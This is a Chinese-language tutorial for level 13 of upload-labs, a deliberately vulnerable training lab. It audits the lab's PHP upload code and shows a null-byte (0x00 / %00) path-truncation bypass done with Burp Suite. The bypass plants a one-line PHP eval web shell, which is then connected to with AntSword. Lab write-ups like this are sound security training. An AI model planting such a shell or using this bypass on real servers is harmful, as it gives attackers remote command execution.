upload-labs第十三关教程
第十三关
一、源代码分析
代码审计
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传失败";
        }
    } else {
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}
 
与上一关不同的是这里的路径是post请求,也就是%00截断不会通过url自动解码了,得我们手动解码。
 $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
 
二、绕过分析
1)0x00绕过
a.上传eval.png
<?php @eval($_POST['cmd']); ?>
 
这个是一个php代码,然后保存为png文件就行了。
b.使用burpsuite进行拦截
修改之前:

修改之后:
将可控参数那块加入eval.php空格—>选择hex模块—>找到eval.php的位置—>修改空格的十六进制为00
进入hex模块:

c.放包
上传成功:

 需要注意的是:eval.php背后的一大串会被截断
 
d.使用中国蚁剑进行连接

 连接成功。
2)%00绕过
 这里就算让我们自己手动解码,快捷键ctrl+shift+u
上传eval.png,使用Burp suite进行拦截包,添加如下:
修改之前和上面的一样
修改之后:

 对…/upload/eval.php%00进行手动解码,快捷键ctrl+shift+u
 
放包:

 注意点和上面一样。
使用中国蚁剑进行连接











